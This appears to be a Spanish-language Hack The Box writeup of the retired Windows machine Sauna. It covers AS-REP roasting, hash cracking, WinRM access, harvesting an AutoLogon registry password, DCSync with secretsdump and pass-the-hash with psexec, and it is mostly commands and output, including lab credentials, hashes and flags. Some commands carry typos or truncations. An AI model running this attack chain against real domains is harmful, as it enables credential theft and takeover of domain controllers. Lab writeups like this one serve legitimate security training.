



HACK THE BOX · WINDOWS

Sauna

Writeup técnico completo ·
explotación reproducible

Máquina Sauna resuelta

HTB Sauna · 2026-04-23

Autor	Ramon Santos Sabarich / r4ms4nt
Plataforma	Hack The Box
Estado	Retired
Dificultad / Sistema	Easy · Windows
Fecha	2026-04-23



Informe técnico normalizado para archivo,
consulta y trazabilidad.

GUÍA DE LECTURA

Índice

1. Introducción	3
2. Guía de lectura	3
3. Preparación del objetivo y arranque del reconocimiento	4
4. Identificación de la superficie dominante	5
5. Extracción de nombres desde about.html	5
6. Consolidación de identidades observadas	6
7. De nombres reales a candidatos de usuario	7
8. Antes de Kerberos: corrección del desfase horario	9
9. Validación de identidades mediante ASREPRoasting	10
10. Preservación del hash y trabajo offline	11
11. Recuperación offline de la contraseña de fsmith	11
12. Acceso inicial por WinRM como fsmith	12
13. Enumeración interna inicial tras el foothold	13
14. AutoLogon en el registro: la segunda credencial	14
15. Resolución de la discrepancia de usuario	14
16. Cambio de contexto a svc_loanmgr	15
17. Medición del valor real de svc_loanmgr	15
18. Recolección de Active Directory con bloodhound-python	16
19. Decisión metodológica correcta ante el atasco de BloodHound	17
20. Verificación directa de DCSync	18
21. Pass-the-Hash contra Administrator	18
22. Verificación final de control total	19
23. Cadena técnica completa resumida	19
24. Lecciones reutilizables	20

Sauna — Writeup técnico didáctico final (versión ampliada)

1. Introducción

Sauna es una máquina Windows retirada de Hack The Box, clasificada como Easy, pero con un valor formativo muy superior al que sugiere esa etiqueta. La resolución observada en este caso no depende de una única vulnerabilidad espectacular, sino de una cadena de compromiso de Active Directory construida paso a paso a partir de evidencias reales: información pública expuesta en la web, derivación de identidades, abuso de Kerberos, reutilización de credenciales encontradas durante la enumeración interna y, finalmente, explotación de permisos delegados de dominio hasta alcanzar compromiso total del controlador de dominio.

Lo que hace especialmente buena a Sauna para estudiar es que obliga a practicar varias ideas importantes al mismo tiempo:

- bullet Como distinguir entre superficie visible y superficie dominante;
- bullet Como convertir una web corporativa aparentemente inocua en inteligencia útil para Active Directory;
- bullet Como interpretar correctamente un AS-REP roastable user;
- bullet Como leer una cuenta que parece modesta localmente, pero que tiene mucho más peso en dominio del que aparenta.

Este documento reconstruye fielmente la resolución real observada en las notas del caso. No rehace la máquina con una vía alternativa ni rellena huecos con imaginación. Cuando aparece una interpretación, se presenta como interpretación; cuando algo quedó observado directamente, se presenta como hecho verificado.

2. Guía de lectura

El documento está organizado como una narración técnica cronológica. En cada fase se mantienen dos planos claramente diferenciados:

- 1 lo observado realmente, es decir, comandos ejecutados, salidas obtenidas y decisiones tomadas sobre evidencia;
- 2 la lectura didáctica, que explica por qué se hizo ese paso, qué señal previa lo justificaba, qué parte de la salida importaba de verdad y cómo cambiaba la siguiente decisión.

La idea no es construir un simple historial de comandos, sino un material reutilizable para estudio posterior.

3. Preparación del objetivo y arranque del reconocimiento

La máquina se inicia con el flujo habitual de laboratorio mediante la herramienta Inici-HTB, que fija el objetivo, prepara el directorio base, valida conectividad y lanza los primeros escaneos.

Comando de arranque

```
Inici-HTB SAUNA 10.129.95.180
```

Qué buscaba este arranque

No solo se trataba de “ver puertos”. El arranque inicial tenía varias funciones concretas:

- Confirmar que el objetivo estaba vivo;
- Obtener una primera estimación del sistema operativo;
- Levantar una fotografía completa de la superficie TCP;
- Identificar servicios y versiones con el menor número posible de conjeturas.

Salida relevante

```
PING 10.129.95.180 ... ttl=127
10.129.95.180 (ttl -> 127): Windows
```

```
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
```

Y en el escaneo de servicios:

```
80/tcp    open  http           Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home

389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0.)
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0
Host: SAUNA
smb2-security-mode: Message signing enabled and required
clock-skew: 6h59m59s
```

Interpretación técnica

Aquí el dato importante no es “Windows con muchos puertos”, sino la combinación exacta de servicios. DNS + Kerberos + LDAP + SMB + Global Catalog + WinRM + ADWS no dibujan un Windows cualquiera: dibujan con mucha fuerza un controlador de dominio.

Ese matiz es crucial porque cambia toda la estrategia. En lugar de abrir varias ramas a la vez —web, SMB, WinRM, LDAP— conviene preguntarse primero qué evidencia puede ayudar

a construir identidades válidas, entender la autenticación del dominio y encontrar un punto de entrada con el menor ruido posible.

Cierre de fase

La fase inicial dejó cuatro hechos importantes ya fijados:

- El objetivo era Windows;
- Su huella encajaba con un DC;
- La web corporativa y el dominio parecían pertenecer al mismo contexto organizativo;
- El clock skew era grande y debía quedar anotado para fases posteriores con Kerberos.

4. Identificación de la superficie dominante

A primera vista había una web accesible en 80/tcp, y podría haber sido tentador tratarla como una aplicación vulnerable clásica. Sin embargo, la lectura correcta fue distinta.

Hecho verificado

La web devolvía el título:

```
Egotistical Bank :: Home
```

y el dominio LDAP identificado era:

```
EGOTISTICAL-BANK.LOCAL
```

Por qué esta relación importaba

Porque une la web pública con el dominio interno. Eso no demuestra una vulnerabilidad web, pero sí revela algo quizá más útil en esta fase: la web probablemente pertenece a la misma organización que Active Directory y, por tanto, puede exponer nombres reales, cargos, estructura interna o pistas de nomenclatura.

Lectura didáctica

En un entorno AD, una web corporativa puede tener mucho valor incluso sin presentar una sola vulnerabilidad técnica visible. A veces el primer salto no sale de “romper” la aplicación, sino de leerla como fuente de inteligencia.

Por eso la superficie dominante no se trató como “WEB-BASE” en sentido clásico, sino como: AD enum apoyada por inteligencia pública desde la web.

5. Extracción de nombres desde about.html

Con esa hipótesis, el siguiente paso fue mínimo y de muy bajo ruido: comprobar si la web exponía nombres de personas reutilizables.

Comandos utilizados

```
curl -s http://10.129.95.180/about.html -o about.html  
grep -Eoi '[A-Z][a-z]+ [A-Z][a-z]+' about.html | sort -u
```

Qué se esperaba obtener

No se buscaba una vulnerabilidad. Se buscaba algo mucho más concreto:

- Nombres completos plausibles;
- Realmente en una sección tipo team, about us o similar;
- Suficientes para derivar usuarios del dominio.

Qué devolvió la salida

La expresión regular devolvió muchísimo ruido de plantilla HTML, CSS y textos decorativos, pero entre toda esa salida aparecieron claramente seis nombres humanos plausibles:

- Fergus Smith
- Bowie Taylor
- Hugo Bear
- Shaun Coins
- Sophie Driver
- Steven Kerb

Interpretación

Este punto es importante porque convierte una intuición en un hecho verificado: la web pública sí exponía identidades útiles para Active Directory.

La decisión correcta a partir de ahí no era saltar a LDAP o SMB, sino consolidar esos nombres en un artefacto limpio de trabajo.

Lección reutilizable

Una web pública en un laboratorio AD puede no ser la puerta de entrada técnica, pero sí una base de datos de nombres humanos. Y eso, en ciertos escenarios, vale más que una vulnerabilidad ruidosa mal interpretada.

6. Consolidación de identidades observadas

Para evitar que el ruido de grep contaminara la siguiente fase, los nombres reales se pasaron a un archivo limpio.

Comando utilizado

```
printf '%s\n' \  
'Fergus Smith' \  
'Bowie Taylor' \  
'Hugo Bear' \  
'Shaun Coins' \  
'Sophie Driver' \  
'Steven Kerb' > fullnames.txt
```

Verificación:

```
cat fullnames.txt
```

Resultado observado

```
Fergus Smith  
Bowie Taylor  
Hugo Bear  
Shaun Coins  
Sophie Driver  
Steven Kerb
```

y la ubicación quedó correctamente fijada en:

```
/home/r4mon/pentest/targets/HTB/easy/SAUNA/content/users/fullnames.txt
```

Por qué este paso tiene valor real

Porque separa señal de ruido y convierte una observación en un artefacto operativo reutilizable. Esa distinción importa mucho en writeups didácticos: una cosa es “se vieron nombres en una web”, y otra mejor es “quedó una lista limpia, trazable y lista para derivación de cuentas”.

7. De nombres reales a candidatos de usuario

Una vez obtenidos los nombres, el siguiente paso no fue probar acceso a ciegas, sino construir una lista razonable de cuentas posibles.

Primera derivación amplia

Se generó una primera lista usernames.txt con múltiples patrones habituales:

```
bullet nombre  
bullet apellido  
bullet nombre.apellido  
bullet nombreapellido  
bullet nombre_apellido  
bullet inicialapellido  
bullet y algunas variantes menos sólidas
```

Bloque utilizado

```
python3 - <<'PY'
from pathlib import Path

src = Path("fullnames.txt")
dst = Path("usernames.txt")

seen = set()
order = []

for line in src.read_text(encoding="utf-8").splitlines():
    name = line.strip()
    if not name:
        continue
    parts = name.lower().split()
    if len(parts) < 2:
        continue

    first = parts[0]
    last = parts[-1]

    candidates = [
        first,
        last,
        f"{first}.{last}",
        f"{first}{last}",
        f"{first}_{last}",
        f"{first[0]}{last}",
        f"{first}{last[0]}",
        f"{first[0]}.{last}",
        f"{last}.{first}",
        f"{last}{first[0]}",
    ]

    for candidate in candidates:
        if candidate not in seen:
            seen.add(candidate)
            order.append(candidate)

dst.write_text("\n".join(order) + "\n", encoding="utf-8")
print(f"[+] Guardados {len(order)} candidatos en {dst}")
PY
```

Salida útil

```
[+] Guardados 60 candidatos en usernames.txt
fergus
smith
fergus.smith
fergussmith
fergus_smith
fsmith
...
```

Qué se aprendió de esa salida

La generación funcionó, pero mezcló candidatos fuertes con variantes bastante flojas. Ese es un punto metodológico importante: una lista más larga no siempre es una lista mejor.

Segunda derivación: lista priorizada

Por eso se generó después `usernames_priority.txt`, conservando solo cuatro patrones de más valor inicial:

```
bullet nombre.apellido
bullet nombreapellido
```


bullet nombre_apellido

bullet inicialapellido

Bloque utilizado

```
python3 - <<'PY'
from pathlib import Path

src = Path("fullnames.txt")
dst = Path("usernames_priority.txt")

seen = set()
order = []

for line in src.read_text(encoding="utf-8").splitlines():
    name = line.strip()
    if not name:
        continue
    parts = name.lower().split()
    if len(parts) < 2:
        continue

    first = parts[0]
    last = parts[-1]

    candidates = [
        f"{first}.{last}",
        f"{first}{last}",
        f"{first}_{last}",
        f"{first[0]}{last}",
    ]

    for candidate in candidates:
        if candidate not in seen:
            seen.add(candidate)
            order.append(candidate)

dst.write_text("\n".join(order) + "\n", encoding="utf-8")
print(f"[+] Guardados {len(order)} candidatos prioritarios en {dst}")
PY
```

Salida relevante

```
fergus.smith
fergussmith
fergus_smith
fsmith
bowie.taylor
bowietaylor
bowie_taylor
btaylor
...
```

Interpretación técnica

Esta fase cierra muy bien una idea importante: en Active Directory no siempre gana quien genera más variantes, sino quien genera variantes mejor priorizadas y sabe justificar por qué empieza por unas y no por otras.

8. Antes de Kerberos: corrección del desfase horario

La enumeración inicial ya había dejado una alerta muy seria:

```
clock-skew: 6h59m59s
```

Antes de usar Kerberos, eso debía corregirse.

Comandos utilizados

```
date -u  
sudo ntpdate -q 10.129.95.180  
sudo ntpdate -u 10.129.95.180  
date -u
```

Salida relevante

```
2026-04-23 20:44:15.93361 (+0200) +25202.319033 +/- 0.024418 10.129.95.180 s1 no-leap  
CLOCK: time stepped by 25202.317982
```

Qué significaba esa salida

La diferencia era de unas siete horas. No era un detalle cosmético. Era un problema suficientemente grande como para contaminar por completo cualquier lectura posterior de Kerberos.

Por qué este paso fue obligatorio

Kerberos depende del tiempo. Si el reloj está roto, una técnica puede parecer fallida por un motivo completamente distinto del que se está interpretando.

Lección reutilizable

Una buena lista de usuarios puede quedar inutilizada por un reloj desalineado. Antes de declarar muerta una vía Kerberos, conviene asegurarse de que el tiempo no está sabotando la lectura.

9. Validación de identidades mediante ASREPRoasting

Con la hora corregida y la lista priorizada preparada, el siguiente paso fue comprobar si alguno de los candidatos devolvía una respuesta útil en Kerberos sin contraseña.

Comando utilizado

```
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile usernames_priority.txt -no-pass -dc-ip 10.129.95.180
```

Qué buscaba este comando

No autenticaba usuarios con contraseñas. Lo que hacía era preguntar al KDC si alguna cuenta tenía preautenticación Kerberos deshabilitada, permitiendo así obtener un AS-REP roastable.

Salida observada

La mayoría de candidatos devolvieron:

```
KDC_ERR_C_PRINCIPAL_UNKNOWN
```

Pero uno devolvió algo completamente distinto:

```
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...
```

Qué quedó demostrado aquí

Este punto valida de golpe varias decisiones anteriores:

- 1 la web sí aportó nombres útiles;
- 2 la derivación de usuarios no fue arbitraria;
- 3 la convención inicial + apellido funcionó;
- 4 la cuenta fsmith era real;
- 5 además, era AS-REP roastable.

Implicación para la siguiente fase

Desde aquí ya no tenía sentido seguir ampliando listas de usuarios o probar SMB/LDAP por inercia. La evidencia dominante era mucho mejor: un hash Kerberos explotable offline.

10. Preservación del hash y trabajo offline

Antes de cualquier cracking, el hash se guardó en un fichero limpio.

Bloque utilizado

```
cat > asrep_fsmith.txt <<'EOF'
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:655d7bbbf26151b21bd1ee464be5be3c$1cc708ac52f286125fd08352f6102f10e
EOF

wc -l asrep_fsmith.txt
cat asrep_fsmith.txt
```

Verificación

wc -l devolvió 1, lo que confirmó que el artefacto útil estaba aislado en una sola línea y sin ruido.

Por qué importa documentarlo

Porque en un caso así el hash ya no es solo una salida de herramienta: pasa a ser un artefacto central de la investigación.

11. Recuperación offline de la contraseña de fsmith

Comando utilizado

```
hashcat -m 18200 asrep_fsmith.txt /usr/share/wordlists/rockyou.txt -O --outfile cracked_fsmith.txt
cat cracked_fsmith.txt
```

Qué hace exactamente -m 18200

Ese modo corresponde a:

- Kerberos 5, etype 23, AS-REP

Es decir, el formato exacto del material obtenido con `GetNPUsers.py`.

Resultado observado

Hashcat resolvió la contraseña con `rockyou.txt`:

```
...:Thestrokes23
```

Credencial recuperada

- usuario: fsmith
- Contraseña: Thestrokes23

Qué cambia a partir de aquí

Hasta este punto la ruta había sido:

- Nombres → usuarios plausibles → cuenta real → hash AS-REP

Ahora la cadena da un salto cualitativo: ya existe una credencial completa y reutilizable.

El siguiente paso correcto ya no es “seguir abusando de Kerberos”, sino comprobar en qué superficie expuesta esa credencial tiene valor operativo real.

12. Acceso inicial por WinRM como fsmith

WinRM ya estaba expuesto desde la fase de enumeración inicial, así que era la opción más limpia para validar el valor práctico de la credencial.

Comando utilizado

```
evil-winrm -i 10.129.95.180 -u fsmith -p 'Thestrokes23'
```

Qué se esperaba obtener

- una shell remota válida;
- un fallo de autorización que obligara a reinterpretar el alcance de la cuenta.

Resultado observado

```
*Evil-WinRM* PS C:\Users\FSmith\Documents>
```

Hecho verificado

La credencial no solo era válida en abstracto, sino operativa en un servicio real del sistema.

Lectura didáctica

Este es el primer gran pivote del caso. El problema deja de ser “encontrar una debilidad de autenticación” y pasa a ser “enumerar correctamente un foothold ya conseguido”.

13. Enumeración interna inicial tras el foothold

Una vez dentro como fsmith, la decisión correcta no fue saltar a herramientas pesadas, sino fijar contexto.

Comandos utilizados

```
whoami
whoami /groups
hostname
ipconfig /all
systeminfo
echo %env:USERDOMAIN
echo %env:COMPUTERNAME
dir C:\Users
type C:\Users\FSmith\Desktop\user.txt
```

Salida clave resumida

```
whoami
egotisticalbank\fsmith
```

```
BUILTIN\Remote Management Users
BUILTIN\Users
BUILTIN\Pre-Windows 2000 Compatible Access
```

```
hostname
SAUNA
```

```
echo %env:USERDOMAIN
EGOTISTICALBANK
```

```
dir C:\Users
Administrator
FSmith
Public
svc_loanmgr
```

```
type C:\Users\FSmith\Desktop\user.txt
c06623afb7a5c08a412d732234887383
```

Qué importaba de verdad de esta salida

- fsmith tenía acceso remoto, pero no parecía administrador;
- el flag de usuario ya era legible;
- y, sobre todo, existía un perfil local de svc_loanmgr.

Por qué ese perfil cambió la dirección del caso

Porque sugería la presencia de otra cuenta con más valor potencial que fsmith. Y en Windows, cuando una cuenta de servicio deja rastro local, merece la pena preguntarse si el sistema expone credenciales o configuración asociadas a ella.

14. AutoLogon en el registro: la segunda credencial

Comando utilizado

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

Qué se estaba buscando

Los parámetros típicos de AutoLogon:

- DefaultDomainName
- DefaultUserName
- DefaultPassword

Salida relevante

DefaultDomainName	REG_SZ	EGOTISTICALBANK
DefaultUserName	REG_SZ	EGOTISTICALBANK\svc_loanmanager
DefaultPassword	REG_SZ	Moneymakestheworldgoround!

Qué quedó demostrado

El sistema almacenaba una contraseña en claro en el registro. Eso ya no era una inferencia ni una conjetura: era un secreto reutilizable observado directamente en el host.

La discrepancia importante

Aquí apareció un matiz muy fino, pero decisivo:

- En C:\Users se había visto svc_loanmgr;
- En Winlogon aparecía svc_loanmanager.

Antes de reutilizar la credencial, tocaba resolver cuál era el nombre real de la cuenta.

Lección reutilizable

Cuando un sistema expone una contraseña en claro, la tentación natural es probarla inmediatamente. El problema es que si el identificador del usuario está mal interpretado, una credencial perfectamente buena puede parecer inútil.

15. Resolución de la discrepancia de usuario

Comandos utilizados

```
net user svc_loanmgr  
net user svc_loanmanager
```

Resultado observado

svc_loanmgr sí existía y devolvía información de cuenta. svc_loanmanager no existía.

Además, svc_loanmgr pertenecía a:

- Domain Users

Remote Management Users

Interpretación

La discrepancia quedó resuelta. La contraseña observada en AutoLogon seguía siendo válida como secreto expuesto, pero el nombre de usuario operativo correcto era:

svc_loanmgr

Implicación

Eso permitía intentar un nuevo acceso remoto con muy buena base:

- Nombre real verificado;
- Contraseña observada en claro;
- Pertenencia a Remote Management Users.

16. Cambio de contexto a svc_loanmgr

Comando utilizado

```
evil-winrm -i 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
```

Resultado observado

```
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>
```

Qué significó este paso

Hasta ese momento, fsmith había sido la puerta de entrada. A partir de aquí, la cuenta principal de trabajo pasó a ser svc_loanmgr.

Y aquí aparece una idea muy importante en AD: una cuenta puede parecer modesta desde fuera, pero tener un peso enorme en el dominio.

17. Medición del valor real de svc_loanmgr

El siguiente paso fue confirmar qué grupos y privilegios tenía realmente esta nueva cuenta.

Primer tropiezo operativo

Se ejecutó por error:

```
whoami / groups  
whoami / priv
```

y eso devolvió un error sintáctico:

```
ERROR: Invalid argument/option - '/'
```

Corrección

La forma correcta era:

```
whoami
whoami /groups
whoami /priv
```

Salida observada

Grupos:

```
BUILTIN\Remote Management Users
BUILTIN\Users
BUILTIN\Pre-Windows 2000 Compatible Access
...
```

Privilegios:

```
SeMachineAccountPrivilege Enabled
SeChangeNotifyPrivilege Enabled
SeIncreaseWorkingSetPrivilege Enabled
```

Qué enseñó esta salida

Y este es uno de los grandes puntos didácticos de Sauna:

- `svc_loanmgr` no destacaba por privilegios locales potentes;
- no aparecían grupos administrativos locales;
- no saltaban privilegios clásicos como `SeImpersonatePrivilege`.

Eso obligaba a cambiar la pregunta. El valor de esta cuenta no parecía estar en el host local, sino probablemente en el dominio.

Lección reutilizable

Cuando una cuenta no destaca ni por grupos locales ni por privilegios del token, no conviene descartarla demasiado rápido. En Active Directory, muchas cuentas aparentemente discretas esconden su valor en ACLs, delegaciones y derechos sobre objetos del dominio.

18. Recolección de Active Directory con bloodhound-python

Con esa lectura, la siguiente decisión fue correcta: recoger información de AD desde fuera para entender qué podía hacer `svc_loanmgr` en el dominio.

Comandos utilizados

```
cd /home/r4mon/pentest/targets/HTB/easy/SAUNA/content
bloodhound-python -u svc_loanmgr -p 'Moneymaketheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -ns 10.129.95.180 -
zip bloodhound_sauna.zip *.json
ls -l *.json bloodhound_sauna.zip
```

Salida relevante

```
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: egotistical-bank.local
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication.
INFO: Found 1 domains
INFO: Found 1 computers
INFO: Found 7 users
INFO: Found 52 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
```

Qué se aprendió aquí

La recolección fue válida y produjo varios JSON y un ZIP listo para importar. El detalle del fallo inicial del TGT no fue el dato central, porque la herramienta hizo fallback a NTLM y completó la recogida.

El problema real vino después

La parte local de análisis visual quedó bloqueada por varios tropiezos del entorno atacante:

- bullet Franque de Neo4j como parte del setup;
- bullet Primera ejecución de BloodHound con componentes CE;
- bullet Mezcla entre recolección LEGACY y stack CE;
- bullet Problemas de navegador al lanzarlo como root;
- bullet Shapi.json roto por un carácter sobrante;
- bullet y, finalmente, un fallo de migración SQL.

Por qué merece la pena documentarlo

Porque enseña una lección metodológica importante: una herramienta local puede atascarse sin que la explotación esté mal encaminada. El problema puede estar en el visor, no en la cadena de ataque.

19. Decisión metodológica correcta ante el atasco de BloodHound

La investigación no se detuvo a pelear indefinidamente con el visor local. Y esa fue una decisión muy buena.

Razonamiento

A esas alturas ya había suficiente evidencia para sostener una hipótesis fuerte:

- bullet svc_loanmgr no destacaba localmente;
- bullet por tanto, lo más razonable era que su valor estuviera en dominio;
- bullet si eso era cierto, debía poder comprobarse directamente.

La pregunta adecuada pasó a ser

¿Tiene svc_loanmgr permisos de replicación sobre el dominio?

20. Verificación directa de DCSync

Comando utilizado

```
impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneythetheworldgoround!@10.129.95.180' -just-dc-user
```

Qué buscaba este comando

No se trataba de un volcado masivo. La opción `-just-dc-user Administrator` restringía la prueba a una comprobación muy concreta: verificar si la cuenta tenía derechos suficientes para extraer el material del administrador del dominio.

Resultado observado

```
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
[*] Kerberos keys grabbed
```

Qué quedó demostrado

Esto cerró la duda más importante del caso:

bullet `svc_loanmgr` tenía capacidad efectiva de DCSync.

Ese es el momento en el que la cuenta deja de ser “interesante” y pasa a ser crítica.

Implicación

Ya no hacía falta seguir enumerando ACLs o arreglar BloodHound para saber si la cuenta tenía valor. La demostración práctica ya estaba hecha.

21. Pass-the-Hash contra Administrator

Con el hash NTLM del Administrator en la mano, el siguiente paso fue directo y coherente.

Comando utilizado

```
psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.129.95.180 -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
```

Qué se esperaba obtener

Una autenticación Pass-the-Hash exitosa y una shell remota con privilegios máximos en el DC.

Resultado observado

```
[*] Found writable share ADMIN$
[*] Uploading file ...
[*] Creating service ...
[*] Starting service ...
Microsoft Windows [Version 10.0.17763.973]
C:\Windows\system32>
```

Interpretación

El hash del Administrator era plenamente reutilizable. En ese punto, el caso ya estaba prácticamente cerrado. Solo faltaba hacer la verificación mínima de identidad y lectura del flag final.

22. Verificación final de control total

Comandos utilizados

```
whoami
hostname
type C:\Users\Administrator\Desktop\root.txt
```

Salida observada

```
nt authority\system
SAUNA
2ebc5339eff500834123056f79cad936
```

Hechos verificados

- El contexto final era SYSTEM;
- El host era SAUNA;
- El root.txt era accesible.

Con eso quedó confirmado el compromiso total del controlador de dominio.

23. Cadena técnica completa resumida

La resolución real observada en Sauna fue esta:

- 1 Enumeración inicial con huella clara de DC Windows.
- 2 Interpretación de la web como fuente de inteligencia y no como vía principal de explotación.
- 3 Extracción de nombres reales desde about.html.
- 4 Creación de fullnames.txt.
- 5 Derivación de usuarios candidatos y priorización de convenciones plausibles.
- 6 Corrección del clock skew antes de tocar Kerberos.
- 7 ASREPROasting exitoso sobre fsmith.
- 8 Preservación del hash y recuperación offline de Thestrokes23.
- 9 Acceso remoto por WinRM como fsmith.
- 10 Enumeración interna y detección del perfil svc_loanmgr.
- 11 Consulta del registro y hallazgo de AutoLogon con contraseña en claro.
- 12 Resolución de la discrepancia svc_loanmanager / svc_loanmgr.
- 13 Acceso remoto por WinRM como svc_loanmgr.
- 14 Comprobación de que el valor real de la cuenta no estaba en el host, sino en el dominio.
- 15 Recolección de AD con bloodhound-python.
- 16 Atasco local del visor BloodHound y reevaluación metodológica correcta.

- 17 Validación directa de DCSync con secretdump.
 - 18 Extracción del hash NTLM de Administrator.
 - 19 Pass-the-Hash con psexec.py.
 - 20 Shell final como SYSTEM y lectura del root.txt.
-

24. Lecciones reutilizables

La web pública puede ser una fuente de identidad, no una superficie dominante de explotación

No toda web tiene que romperse. Algunas simplemente alimentan mejor que ninguna otra fase la construcción de identidades válidas en AD.

La nomenclatura de usuarios se debe trabajar como un artefacto, no como improvisación

Pasar de nombres reales a fullnames.txt, luego a usernames.txt y finalmente a usernames_priority.txt no fue burocracia: fue una manera ordenada de elevar la calidad de la siguiente validación.

Kerberos sin tiempo correcto engaña

El clock skew de siete horas habría hecho muy fácil interpretar mal la fase de Kerberos. Corregir el tiempo fue una precondition, no una comodidad.

Un usuario AS-REP roastable cambia de verdad el caso

Cuando una cuenta devuelve un AS-REP hash, la prioridad deja de ser ampliar listas de nombres y pasa a ser preservar ese artefacto y trabajarlo offline.

Un foothold inicial no siempre es el usuario importante del caso

fsmith fue suficiente para entrar, pero no para cerrar la máquina. Su verdadero valor estuvo en permitir descubrir algo mejor.

El registro de Windows sigue siendo una fuente de secretos brutal

Winlogon entregó una contraseña en claro. Esa mala práctica convirtió una enumeración post-foothold aparentemente simple en un pivote decisivo.

El peso real de una cuenta puede estar en el dominio, no en sus grupos locales

Ese es quizá el aprendizaje más fuerte de Sauna. svc_loanmgr no impresionaba localmente. Pero su impacto real estaba en Active Directory.

Cuando el visor falla, la cadena no tiene por qué estar rota

El atasco con BloodHound enseñó muy bien a distinguir entre:

- un problema del objetivo;
- y un problema del entorno atacante.

Y esa distinción ahorra muchísimo tiempo.
